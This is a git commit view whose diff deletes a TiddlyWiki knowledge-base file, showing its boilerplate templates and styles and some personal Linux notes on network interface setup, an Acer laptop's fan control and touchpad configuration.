summaryrefslogtreecommitdiffstats
path: root/content/wiki
diff options
context:
space:
mode:
authormakefu <root@pigstarter.de>2014-09-12 14:07:17 +0200
committermakefu <root@pigstarter.de>2014-09-12 14:07:17 +0200
commit99f7895cdd4cbf99b1d9c768301e5d69e28f5fde (patch)
treef3fb25565ef98dc13b29fbe45b8bb8945565ea7a /content/wiki
parent9261d62b4712eb7d8e5ff8c085ffa78115d11a7c (diff)
fix knowledge base
Diffstat (limited to 'content/wiki')
l---------[-rw-r--r--]content/wiki/knowledge_base.html14538
l---------[-rwxr-xr-x]content/wiki/knowledge_base.xml463
2 files changed, 2 insertions, 14999 deletions
diff --git a/content/wiki/knowledge_base.html b/content/wiki/knowledge_base.html
index dc8c3b5..e614acd 100644..120000
--- a/content/wiki/knowledge_base.html
+++ b/content/wiki/knowledge_base.html
@@ -1,14537 +1 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-<script id="versionArea" type="text/javascript">
-//<![CDATA[
-var version = {title: "TiddlyWiki", major: 2, minor: 8, revision: 1, date: new Date("June 23, 2013"), extensions: {}};
-
-//]]>
-</script>
-<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
-<meta name="copyright" content="
-TiddlyWiki created by Jeremy Ruston, (jeremy [at] osmosoft [dot] com)
-
-Copyright (c) Jeremy Ruston 2004-2007
-Copyright (c) UnaMesa Association 2007-2012
-
-Redistribution and use in source and binary forms, with or without modification,
-are permitted provided that the following conditions are met:
-
-Redistributions of source code must retain the above copyright notice, this
-list of conditions and the following disclaimer.
-
-Redistributions in binary form must reproduce the above copyright notice, this
-list of conditions and the following disclaimer in the documentation and/or other
-materials provided with the distribution.
-
-Neither the name of the UnaMesa Association nor the names of its contributors may be
-used to endorse or promote products derived from this software without specific
-prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 'AS IS' AND ANY
-EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
-OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
-SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
-INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
-TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
-BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
-CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
-ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
-DAMAGE.
-
-" />
-<!--PRE-HEAD-START-->
-<!--{{{-->
-<link rel='alternate' type='application/rss+xml' title='RSS' href='index.xml' />
-<!--}}}-->
-
-<!--PRE-HEAD-END-->
-<title> Knowledge Base - </title>
-<style id="styleArea" type="text/css">
-#saveTest {display:none;}
-#messageArea {display:none;}
-#copyright {display:none;}
-#storeArea {display:none;}
-#storeArea div {padding:0.5em; margin:1em 0em 0em 0em; border-color:#fff #666 #444 #ddd; border-style:solid; border-width:2px; overflow:auto;}
-#shadowArea {display:none;}
-#javascriptWarning {width:100%; text-align:center; font-weight:bold; background-color:#dd1100; color:#fff; padding:1em 0em;}
-
-</style>
-<!--POST-HEAD-START-->
-
-<!--POST-HEAD-END-->
-</head>
-<body onload="main();" onunload="if(window.unload) unload();">
-<!--PRE-BODY-START-->
-
-<!--PRE-BODY-END-->
-<div id="copyright">
-Welcome to TiddlyWiki created by Jeremy Ruston; Copyright &copy; 2004-2007 Jeremy Ruston, Copyright &copy; 2007-2011 UnaMesa Association
-</div>
-<noscript>
-<div id="javascriptWarning">
-This page requires JavaScript to function properly.<br /><br />If you are using Microsoft Internet Explorer you may need to click on the yellow bar above and select 'Allow Blocked Content'. You must then click 'Yes' on the following security warning.
-</div>
-
-</noscript>
-<div id="saveTest"></div>
-<div id="backstageCloak"></div>
-<div id="backstageButton"></div>
-<div id="backstageArea"><div id="backstageToolbar"></div></div>
-<div id="backstage">
- <div id="backstagePanel"></div>
-</div>
-<div id="contentWrapper"></div>
-<div id="contentStash"></div>
-<div id="shadowArea">
-<div title="ColorPalette">
-<pre>Background: #fff
-Foreground: #000
-PrimaryPale: #8cf
-PrimaryLight: #18f
-PrimaryMid: #04b
-PrimaryDark: #014
-SecondaryPale: #ffc
-SecondaryLight: #fe8
-SecondaryMid: #db4
-SecondaryDark: #841
-TertiaryPale: #eee
-TertiaryLight: #ccc
-TertiaryMid: #999
-TertiaryDark: #666
-Error: #f88
-</pre>
-</div>
-<div title="EditTemplate">
-<pre>&lt;!--{{{--&gt;
-&lt;div class='toolbar' macro='toolbar [[ToolbarCommands::EditToolbar]]'&gt;&lt;/div&gt;
-&lt;div class='title' macro='view title'&gt;&lt;/div&gt;
-&lt;div class='editor' macro='edit title'&gt;&lt;/div&gt;
-&lt;div macro='annotations'&gt;&lt;/div&gt;
-&lt;div class='editor' macro='edit text'&gt;&lt;/div&gt;
-&lt;div class='editor' macro='edit tags'&gt;&lt;/div&gt;&lt;div class='editorFooter'&gt;&lt;span macro='message views.editor.tagPrompt'&gt;&lt;/span&gt;&lt;span macro='tagChooser excludeLists'&gt;&lt;/span&gt;&lt;/div&gt;
-&lt;!--}}}--&gt;
-</pre>
-</div>
-<div title="GettingStarted">
-<pre>To get started with this blank [[TiddlyWiki]], you'll need to modify the following tiddlers:
-* [[SiteTitle]] &amp; [[SiteSubtitle]]: The title and subtitle of the site, as shown above (after saving, they will also appear in the browser title bar)
-* [[MainMenu]]: The menu (usually on the left)
-* [[DefaultTiddlers]]: Contains the names of the tiddlers that you want to appear when the TiddlyWiki is opened
-You'll also need to enter your username for signing your edits: &lt;&lt;option txtUserName&gt;&gt;
-</pre>
-</div>
-<div title="ImportTiddlers">
-<pre>&lt;&lt;importTiddlers&gt;&gt;
-</pre>
-</div>
-<div title="MarkupPreHead">
-<pre>&lt;!--{{{--&gt;
-&lt;link rel='alternate' type='application/rss+xml' title='RSS' href='index.xml' /&gt;
-&lt;!--}}}--&gt;
-</pre>
-</div>
-<div title="OptionsPanel">
-<pre>These [[InterfaceOptions]] for customising [[TiddlyWiki]] are saved in your browser
-
-Your username for signing your edits. Write it as a [[WikiWord]] (eg [[JoeBloggs]])
-
-&lt;&lt;option txtUserName&gt;&gt;
-&lt;&lt;option chkSaveBackups&gt;&gt; [[SaveBackups]]
-&lt;&lt;option chkAutoSave&gt;&gt; [[AutoSave]]
-&lt;&lt;option chkRegExpSearch&gt;&gt; [[RegExpSearch]]
-&lt;&lt;option chkCaseSensitiveSearch&gt;&gt; [[CaseSensitiveSearch]]
-&lt;&lt;option chkAnimate&gt;&gt; [[EnableAnimations]]
-
-----
-Also see [[AdvancedOptions]]
-</pre>
-</div>
-<div title="PageTemplate">
-<pre>&lt;!--{{{--&gt;
-&lt;div class='header' role='banner' macro='gradient vert [[ColorPalette::PrimaryLight]] [[ColorPalette::PrimaryMid]]'&gt;
-&lt;div class='headerShadow'&gt;
-&lt;span class='siteTitle' refresh='content' tiddler='SiteTitle'&gt;&lt;/span&gt;&amp;nbsp;
-&lt;span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'&gt;&lt;/span&gt;
-&lt;/div&gt;
-&lt;div class='headerForeground'&gt;
-&lt;span class='siteTitle' refresh='content' tiddler='SiteTitle'&gt;&lt;/span&gt;&amp;nbsp;
-&lt;span class='siteSubtitle' refresh='content' tiddler='SiteSubtitle'&gt;&lt;/span&gt;
-&lt;/div&gt;
-&lt;/div&gt;
-&lt;div id='mainMenu' role='navigation' refresh='content' tiddler='MainMenu'&gt;&lt;/div&gt;
-&lt;div id='sidebar'&gt;
-&lt;div id='sidebarOptions' role='navigation' refresh='content' tiddler='SideBarOptions'&gt;&lt;/div&gt;
-&lt;div id='sidebarTabs' role='complementary' refresh='content' force='true' tiddler='SideBarTabs'&gt;&lt;/div&gt;
-&lt;/div&gt;
-&lt;div id='displayArea' role='main'&gt;
-&lt;div id='messageArea'&gt;&lt;/div&gt;
-&lt;div id='tiddlerDisplay'&gt;&lt;/div&gt;
-&lt;/div&gt;
-&lt;!--}}}--&gt;
-</pre>
-</div>
-<div title="StyleSheetColors">
-<pre>/*{{{*/
-body {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
-
-a {color:[[ColorPalette::PrimaryMid]];}
-a:hover {background-color:[[ColorPalette::PrimaryMid]]; color:[[ColorPalette::Background]];}
-a img {border:0;}
-
-h1,h2,h3,h4,h5,h6 {color:[[ColorPalette::SecondaryDark]]; background:transparent;}
-h1 {border-bottom:2px solid [[ColorPalette::TertiaryLight]];}
-h2,h3 {border-bottom:1px solid [[ColorPalette::TertiaryLight]];}
-
-.button {color:[[ColorPalette::PrimaryDark]]; border:1px solid [[ColorPalette::Background]];}
-.button:hover {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::SecondaryLight]]; border-color:[[ColorPalette::SecondaryMid]];}
-.button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::SecondaryDark]];}
-
-.header {background:[[ColorPalette::PrimaryMid]];}
-.headerShadow {color:[[ColorPalette::Foreground]];}
-.headerShadow a {font-weight:normal; color:[[ColorPalette::Foreground]];}
-.headerForeground {color:[[ColorPalette::Background]];}
-.headerForeground a {font-weight:normal; color:[[ColorPalette::PrimaryPale]];}
-
-.tabSelected {color:[[ColorPalette::PrimaryDark]];
- background:[[ColorPalette::TertiaryPale]];
- border-left:1px solid [[ColorPalette::TertiaryLight]];
- border-top:1px solid [[ColorPalette::TertiaryLight]];
- border-right:1px solid [[ColorPalette::TertiaryLight]];
-}
-.tabUnselected {color:[[ColorPalette::Background]]; background:[[ColorPalette::TertiaryMid]];}
-.tabContents {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::TertiaryPale]]; border:1px solid [[ColorPalette::TertiaryLight]];}
-.tabContents .button {border:0;}
-
-#sidebar {}
-#sidebarOptions input {border:1px solid [[ColorPalette::PrimaryMid]];}
-#sidebarOptions .sliderPanel {background:[[ColorPalette::PrimaryPale]];}
-#sidebarOptions .sliderPanel a {border:none;color:[[ColorPalette::PrimaryMid]];}
-#sidebarOptions .sliderPanel a:hover {color:[[ColorPalette::Background]]; background:[[ColorPalette::PrimaryMid]];}
-#sidebarOptions .sliderPanel a:active {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::Background]];}
-
-.wizard {background:[[ColorPalette::PrimaryPale]]; border:1px solid [[ColorPalette::PrimaryMid]];}
-.wizard h1 {color:[[ColorPalette::PrimaryDark]]; border:none;}
-.wizard h2 {color:[[ColorPalette::Foreground]]; border:none;}
-.wizardStep {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];
- border:1px solid [[ColorPalette::PrimaryMid]];}
-.wizardStep.wizardStepDone {background:[[ColorPalette::TertiaryLight]];}
-.wizardFooter {background:[[ColorPalette::PrimaryPale]];}
-.wizardFooter .status {background:[[ColorPalette::PrimaryDark]]; color:[[ColorPalette::Background]];}
-.wizard .button {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryLight]]; border: 1px solid;
- border-color:[[ColorPalette::SecondaryPale]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryDark]] [[ColorPalette::SecondaryPale]];}
-.wizard .button:hover {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Background]];}
-.wizard .button:active {color:[[ColorPalette::Background]]; background:[[ColorPalette::Foreground]]; border: 1px solid;
- border-color:[[ColorPalette::PrimaryDark]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryPale]] [[ColorPalette::PrimaryDark]];}
-
-.wizard .notChanged {background:transparent;}
-.wizard .changedLocally {background:#80ff80;}
-.wizard .changedServer {background:#8080ff;}
-.wizard .changedBoth {background:#ff8080;}
-.wizard .notFound {background:#ffff80;}
-.wizard .putToServer {background:#ff80ff;}
-.wizard .gotFromServer {background:#80ffff;}
-
-#messageArea {border:1px solid [[ColorPalette::SecondaryMid]]; background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]];}
-#messageArea .button {color:[[ColorPalette::PrimaryMid]]; background:[[ColorPalette::SecondaryPale]]; border:none;}
-
-.popupTiddler {background:[[ColorPalette::TertiaryPale]]; border:2px solid [[ColorPalette::TertiaryMid]];}
-
-.popup {background:[[ColorPalette::TertiaryPale]]; color:[[ColorPalette::TertiaryDark]]; border-left:1px solid [[ColorPalette::TertiaryMid]]; border-top:1px solid [[ColorPalette::TertiaryMid]]; border-right:2px solid [[ColorPalette::TertiaryDark]]; border-bottom:2px solid [[ColorPalette::TertiaryDark]];}
-.popup hr {color:[[ColorPalette::PrimaryDark]]; background:[[ColorPalette::PrimaryDark]]; border-bottom:1px;}
-.popup li.disabled {color:[[ColorPalette::TertiaryMid]];}
-.popup li a, .popup li a:visited {color:[[ColorPalette::Foreground]]; border: none;}
-.popup li a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border: none;}
-.popup li a:active {background:[[ColorPalette::SecondaryPale]]; color:[[ColorPalette::Foreground]]; border: none;}
-.popupHighlight {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
-.listBreak div {border-bottom:1px solid [[ColorPalette::TertiaryDark]];}
-
-.tiddler .defaultCommand {font-weight:bold;}
-
-.shadow .title {color:[[ColorPalette::TertiaryDark]];}
-
-.title {color:[[ColorPalette::SecondaryDark]];}
-.subtitle {color:[[ColorPalette::TertiaryDark]];}
-
-.toolbar {color:[[ColorPalette::PrimaryMid]];}
-.toolbar a {color:[[ColorPalette::TertiaryLight]];}
-.selected .toolbar a {color:[[ColorPalette::TertiaryMid]];}
-.selected .toolbar a:hover {color:[[ColorPalette::Foreground]];}
-
-.tagging, .tagged {border:1px solid [[ColorPalette::TertiaryPale]]; background-color:[[ColorPalette::TertiaryPale]];}
-.selected .tagging, .selected .tagged {background-color:[[ColorPalette::TertiaryLight]]; border:1px solid [[ColorPalette::TertiaryMid]];}
-.tagging .listTitle, .tagged .listTitle {color:[[ColorPalette::PrimaryDark]];}
-.tagging .button, .tagged .button {border:none;}
-
-.footer {color:[[ColorPalette::TertiaryLight]];}
-.selected .footer {color:[[ColorPalette::TertiaryMid]];}
-
-.error, .errorButton {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::Error]];}
-.warning {color:[[ColorPalette::Foreground]]; background:[[ColorPalette::SecondaryPale]];}
-.lowlight {background:[[ColorPalette::TertiaryLight]];}
-
-.zoomer {background:none; color:[[ColorPalette::TertiaryMid]]; border:3px solid [[ColorPalette::TertiaryMid]];}
-
-.imageLink, #displayArea .imageLink {background:transparent;}
-
-.annotation {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; border:2px solid [[ColorPalette::SecondaryMid]];}
-
-.viewer .listTitle {list-style-type:none; margin-left:-2em;}
-.viewer .button {border:1px solid [[ColorPalette::SecondaryMid]];}
-.viewer blockquote {border-left:3px solid [[ColorPalette::TertiaryDark]];}
-
-.viewer table, table.twtable {border:2px solid [[ColorPalette::TertiaryDark]];}
-.viewer th, .viewer thead td, .twtable th, .twtable thead td {background:[[ColorPalette::SecondaryMid]]; border:1px solid [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::Background]];}
-.viewer td, .viewer tr, .twtable td, .twtable tr {border:1px solid [[ColorPalette::TertiaryDark]];}
-
-.viewer pre {border:1px solid [[ColorPalette::SecondaryLight]]; background:[[ColorPalette::SecondaryPale]];}
-.viewer code {color:[[ColorPalette::SecondaryDark]];}
-.viewer hr {border:0; border-top:dashed 1px [[ColorPalette::TertiaryDark]]; color:[[ColorPalette::TertiaryDark]];}
-
-.highlight, .marked {background:[[ColorPalette::SecondaryLight]];}
-
-.editor input {border:1px solid [[ColorPalette::PrimaryMid]];}
-.editor textarea {border:1px solid [[ColorPalette::PrimaryMid]]; width:100%;}
-.editorFooter {color:[[ColorPalette::TertiaryMid]];}
-.readOnly {background:[[ColorPalette::TertiaryPale]];}
-
-#backstageArea {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::TertiaryMid]];}
-#backstageArea a {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
-#backstageArea a:hover {background:[[ColorPalette::SecondaryLight]]; color:[[ColorPalette::Foreground]]; }
-#backstageArea a.backstageSelTab {background:[[ColorPalette::Background]]; color:[[ColorPalette::Foreground]];}
-#backstageButton a {background:none; color:[[ColorPalette::Background]]; border:none;}
-#backstageButton a:hover {background:[[ColorPalette::Foreground]]; color:[[ColorPalette::Background]]; border:none;}
-#backstagePanel {background:[[ColorPalette::Background]]; border-color: [[ColorPalette::Background]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]] [[ColorPalette::TertiaryDark]];}
-.backstagePanelFooter .button {border:none; color:[[ColorPalette::Background]];}
-.backstagePanelFooter .button:hover {color:[[ColorPalette::Foreground]];}
-#backstageCloak {background:[[ColorPalette::Foreground]]; opacity:0.6; filter:alpha(opacity=60);}
-/*}}}*/
-</pre>
-</div>
-<div title="StyleSheetLayout">
-<pre>/*{{{*/
-* html .tiddler {height:1%;}
-
-body {font-size:.75em; font-family:arial,helvetica; margin:0; padding:0;}
-
-h1,h2,h3,h4,h5,h6 {font-weight:bold; text-decoration:none;}
-h1,h2,h3 {padding-bottom:1px; margin-top:1.2em;margin-bottom:0.3em;}
-h4,h5,h6 {margin-top:1em;}
-h1 {font-size:1.35em;}
-h2 {font-size:1.25em;}
-h3 {font-size:1.1em;}
-h4 {font-size:1em;}
-h5 {font-size:.9em;}
-
-hr {height:1px;}
-
-a {text-decoration:none;}
-
-dt {font-weight:bold;}
-
-ol {list-style-type:decimal;}
-ol ol {list-style-type:lower-alpha;}
-ol ol ol {list-style-type:lower-roman;}
-ol ol ol ol {list-style-type:decimal;}
-ol ol ol ol ol {list-style-type:lower-alpha;}
-ol ol ol ol ol ol {list-style-type:lower-roman;}
-ol ol ol ol ol ol ol {list-style-type:decimal;}
-
-.txtOptionInput {width:11em;}
-
-#contentWrapper .chkOptionInput {border:0;}
-
-.externalLink {text-decoration:underline;}
-
-.indent {margin-left:3em;}
-.outdent {margin-left:3em; text-indent:-3em;}
-code.escaped {white-space:nowrap;}
-
-.tiddlyLinkExisting {font-weight:bold;}
-.tiddlyLinkNonExisting {font-style:italic;}
-
-/* the 'a' is required for IE, otherwise it renders the whole tiddler in bold */
-a.tiddlyLinkNonExisting.shadow {font-weight:bold;}
-
-#mainMenu .tiddlyLinkExisting,
- #mainMenu .tiddlyLinkNonExisting,
- #sidebarTabs .tiddlyLinkNonExisting {font-weight:normal; font-style:normal;}
-#sidebarTabs .tiddlyLinkExisting {font-weight:bold; font-style:normal;}
-
-.header {position:relative;}
-.header a:hover {background:transparent;}
-.headerShadow {position:relative; padding:4.5em 0 1em 1em; left:-1px; top:-1px;}
-.headerForeground {position:absolute; padding:4.5em 0 1em 1em; left:0; top:0;}
-
-.siteTitle {font-size:3em;}
-.siteSubtitle {font-size:1.2em;}
-
-#mainMenu {position:absolute; left:0; width:10em; text-align:right; line-height:1.6em; padding:1.5em 0.5em 0.5em 0.5em; font-size:1.1em;}
-
-#sidebar {position:absolute; right:3px; width:16em; font-size:.9em;}
-#sidebarOptions {padding-top:0.3em;}
-#sidebarOptions a {margin:0 0.2em; padding:0.2em 0.3em; display:block;}
-#sidebarOptions input {margin:0.4em 0.5em;}
-#sidebarOptions .sliderPanel {margin-left:1em; padding:0.5em; font-size:.85em;}
-#sidebarOptions .sliderPanel a {font-weight:bold; display:inline; padding:0;}
-#sidebarOptions .sliderPanel input {margin:0 0 0.3em 0;}
-#sidebarTabs .tabContents {width:15em; overflow:hidden;}
-
-.wizard {padding:0.1em 1em 0 2em;}
-.wizard h1 {font-size:2em; font-weight:bold; background:none; padding:0; margin:0.4em 0 0.2em;}
-.wizard h2 {font-size:1.2em; font-weight:bold; background:none; padding:0; margin:0.4em 0 0.2em;}
-.wizardStep {padding:1em 1em 1em 1em;}
-.wizard .button {margin:0.5em 0 0; font-size:1.2em;}
-.wizardFooter {padding:0.8em 0.4em 0.8em 0;}
-.wizardFooter .status {padding:0 0.4em; margin-left:1em;}
-.wizard .button {padding:0.1em 0.2em;}
-
-#messageArea {position:fixed; top:2em; right:0; margin:0.5em; padding:0.5em; z-index:2000; _position:absolute;}
-.messageToolbar {display:block; text-align:right; padding:0.2em;}
-#messageArea a {text-decoration:underline;}
-
-.tiddlerPopupButton {padding:0.2em;}
-.popupTiddler {position: absolute; z-index:300; padding:1em; margin:0;}
-
-.popup {position:absolute; z-index:300; font-size:.9em; padding:0; list-style:none; margin:0;}
-.popup .popupMessage {padding:0.4em;}
-.popup hr {display:block; height:1px; width:auto; padding:0; margin:0.2em 0;}
-.popup li.disabled {padding:0.4em;}
-.popup li a {display:block; padding:0.4em; font-weight:normal; cursor:pointer;}
-.listBreak {font-size:1px; line-height:1px;}
-.listBreak div {margin:2px 0;}
-
-.tabset {padding:1em 0 0 0.5em;}
-.tab {margin:0 0 0 0.25em; padding:2px;}
-.tabContents {padding:0.5em;}
-.tabContents ul, .tabContents ol {margin:0; padding:0;}
-.txtMainTab .tabContents li {list-style:none;}
-.tabContents li.listLink { margin-left:.75em;}
-
-#contentWrapper {display:block;}
-#splashScreen {display:none;}
-
-#displayArea {margin:1em 17em 0 14em;}
-
-.toolbar {text-align:right; font-size:.9em;}
-
-.tiddler {padding:1em 1em 0;}
-
-.missing .viewer,.missing .title {font-style:italic;}
-
-.title {font-size:1.6em; font-weight:bold;}
-
-.missing .subtitle {display:none;}
-.subtitle {font-size:1.1em;}
-
-.tiddler .button {padding:0.2em 0.4em;}
-
-.tagging {margin:0.5em 0.5em 0.5em 0; float:left; display:none;}
-.isTag .tagging {display:block;}
-.tagged {margin:0.5em; float:right;}
-.tagging, .tagged {font-size:0.9em; padding:0.25em;}
-.tagging ul, .tagged ul {list-style:none; margin:0.25em; padding:0;}
-.tagClear {clear:both;}
-
-.footer {font-size:.9em;}
-.footer li {display:inline;}
-
-.annotation {padding:0.5em; margin:0.5em;}
-
-* html .viewer pre {width:99%; padding:0 0 1em 0;}
-.viewer {line-height:1.4em; padding-top:0.5em;}
-.viewer .button {margin:0 0.25em; padding:0 0.25em;}
-.viewer blockquote {line-height:1.5em; padding-left:0.8em;margin-left:2.5em;}
-.viewer ul, .viewer ol {margin-left:0.5em; padding-left:1.5em;}
-
-.viewer table, table.twtable {border-collapse:collapse; margin:0.8em 1.0em;}
-.viewer th, .viewer td, .viewer tr,.viewer caption,.twtable th, .twtable td, .twtable tr,.twtable caption {padding:3px;}
-table.listView {font-size:0.85em; margin:0.8em 1.0em;}
-table.listView th, table.listView td, table.listView tr {padding:0 3px 0 3px;}
-
-.viewer pre {padding:0.5em; margin-left:0.5em; font-size:1.2em; line-height:1.4em; overflow:auto;}
-.viewer code {font-size:1.2em; line-height:1.4em;}
-
-.editor {font-size:1.1em;}
-.editor input, .editor textarea {display:block; width:100%; font:inherit;}
-.editorFooter {padding:0.25em 0; font-size:.9em;}
-.editorFooter .button {padding-top:0; padding-bottom:0;}
-
-.fieldsetFix {border:0; padding:0; margin:1px 0px;}
-
-.zoomer {font-size:1.1em; position:absolute; overflow:hidden;}
-.zoomer div {padding:1em;}
-
-* html #backstage {width:99%;}
-* html #backstageArea {width:99%;}
-#backstageArea {display:none; position:relative; overflow: hidden; z-index:150; padding:0.3em 0.5em;}
-#backstageToolbar {position:relative;}
-#backstageArea a {font-weight:bold; margin-left:0.5em; padding:0.3em 0.5em;}
-#backstageButton {display:none; position:absolute; z-index:175; top:0; right:0;}
-#backstageButton a {padding:0.1em 0.4em; margin:0.1em;}
-#backstage {position:relative; width:100%; z-index:50;}
-#backstagePanel {display:none; z-index:100; position:absolute; width:90%; margin-left:3em; padding:1em;}
-.backstagePanelFooter {padding-top:0.2em; float:right;}
-.backstagePanelFooter a {padding:0.2em 0.4em;}
-#backstageCloak {display:none; z-index:20; position:absolute; width:100%; height:100px;}
-
-.whenBackstage {display:none;}
-.backstageVisible .whenBackstage {display:block;}
-/*}}}*/
-</pre>
-</div>
-<div title="StyleSheetLocale">
-<pre>/***
-StyleSheet for use when a translation requires any css style changes.
-This StyleSheet can be used directly by languages such as Chinese, Japanese and Korean which need larger font sizes.
-***/
-/*{{{*/
-body {font-size:0.8em;}
-#sidebarOptions {font-size:1.05em;}
-#sidebarOptions a {font-style:normal;}
-#sidebarOptions .sliderPanel {font-size:0.95em;}
-.subtitle {font-size:0.8em;}
-.viewer table.listView {font-size:0.95em;}
-/*}}}*/
-</pre>
-</div>
-<div title="StyleSheetPrint">
-<pre>/*{{{*/
-@media print {
-#mainMenu, #sidebar, #messageArea, .toolbar, #backstageButton, #backstageArea {display: none !important;}
-#displayArea {margin: 1em 1em 0em;}
-noscript {display:none;} /* Fixes a feature in Firefox 1.5.0.2 where print preview displays the noscript content */
-}
-/*}}}*/
-</pre>
-</div>
-<div title="ViewTemplate">
-<pre>&lt;!--{{{--&gt;
-&lt;div class='toolbar' role='navigation' macro='toolbar [[ToolbarCommands::ViewToolbar]]'&gt;&lt;/div&gt;
-&lt;div class='title' macro='view title'&gt;&lt;/div&gt;
-&lt;div class='subtitle'&gt;&lt;span macro='view modifier link'&gt;&lt;/span&gt;, &lt;span macro='view modified date'&gt;&lt;/span&gt; (&lt;span macro='message views.wikified.createdPrompt'&gt;&lt;/span&gt; &lt;span macro='view created date'&gt;&lt;/span&gt;)&lt;/div&gt;
-&lt;div class='tagging' macro='tagging'&gt;&lt;/div&gt;
-&lt;div class='tagged' macro='tags'&gt;&lt;/div&gt;
-&lt;div class='viewer' macro='view text wikified'&gt;&lt;/div&gt;
-&lt;div class='tagClear'&gt;&lt;/div&gt;
-&lt;!--}}}--&gt;
-</pre>
-</div>
-
-</div>
-<!--POST-SHADOWAREA-->
-<div id="storeArea">
-<div title="/etc/network/interfaces" modifier="makefu" created="201103082153" modified="201310162354" tags="network" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103082302" changecount="1">
-<pre>!static network
-{{{
-auto eth1 # come up automatically
-iface et1 inet static
- address 192.168.0.24
- netmask 255.255.255.0
-# gateway 192.168.0.23
-}}}
-! for wpa_supplicant
-{{{
-auto wlan0
-allow-hotplug wlan0
-iface wlan0 inet dhcp
- wpa-ssid meinessid
- wpa-psk meinpasswort
-}}}</pre>
-</div>
-<div title="16 May 2013" modifier="makefu" created="201305161300" tags="journal" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201305161300">
-<pre>Type the text for '16 May 2013'</pre>
-</div>
-<div title="Acer1810tz" modifier="Felix" created="201101311616" modified="201103280306" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103280306">
-<pre>!usb hotplugging
-hotfix for not nonfuct hotplugging (which is probably a problem with either laptop-mode,udev,dbus or usb-autosuspend)
-{{{
-modprobe -r uhci-hcd
-modprobe uhci-hcd
-}}}
-!brightness
-/sys/class/backlight/acpi_video0/brightness
-!fan control
-via module acerhdf_kmod ( http://piie.net/index.php?section=acerhdf )
-add line for my bios to the array of supported hw in acerhdf.c :
-{{{
-/* Acer 1810TZ */
-/// changed in new version
-
-{&quot;Acer&quot;, &quot;Aspire 1810TZ&quot;, &quot;v0.3108&quot;, 0x55, 0x58, {0x9e, 0x00} },
-{&quot;Acer&quot;, &quot;Aspire 1810TZ&quot;, &quot;v0.3113&quot;, 0x55, 0x58, {0x9e, 0x00} },
-{&quot;Acer&quot;, &quot;Aspire 1810TZ&quot;, &quot;v0.3115&quot;, 0x55, 0x58, {0x9e, 0x00} },
-{&quot;Acer&quot;, &quot;Aspire 1810TZ&quot;, &quot;v0.3117&quot;, 0x55, 0x58, {0x9e, 0x00} },
-
-}}}
-!Synaptic Touchpad
-Fix crappy touchpad, enable twofinger scrolling
-in {{{ /etc/X11/xorg.conf.d/96-synaptics-twofinger.conf }}}
-{{{
-Section &quot;InputClass&quot;
-Identifier &quot;touchpad two finger scrolling&quot;
-MatchIsTouchpad &quot;on&quot;
-MatchDevicePath &quot;/dev/input/event*&quot;
-Option &quot;HorizScrollDelta&quot; &quot;0&quot;
-Option &quot;MinSpeed&quot; &quot;0.5&quot;
-Option &quot;MaxSpeed&quot; &quot;0.5&quot;
-#Option &quot;AccelFactor&quot; &quot;0.0010&quot;
-Option &quot;EmulateTwoFingerMinZ&quot; &quot;40&quot;
-Option &quot;EmulateTwoFingerMinW&quot; &quot;11&quot;
-Option &quot;VertTwoFingerScroll&quot; &quot;True&quot;
-Option &quot;HorizTwoFingerScroll&quot; &quot;True&quot;
-Option &quot;VertEdgeScroll&quot; &quot;False&quot;
-Option &quot;HorizEdgeScroll&quot; &quot;False&quot;
-Option &quot;JumpyCursorThreshold&quot; &quot;250&quot;
-Driver &quot;synaptics&quot;
-EndSection
-}}}</pre>
-</div>
-<div title="All Tiddlers" modifier="Felix" created="201101311521" modified="201103291131" server.type="file" server.host="file:///home/makefu/Downloads/knowledge_base.html" server.page.revision="201103291131">
-<pre>&lt;&lt;list&gt;&gt;</pre>
-</div>
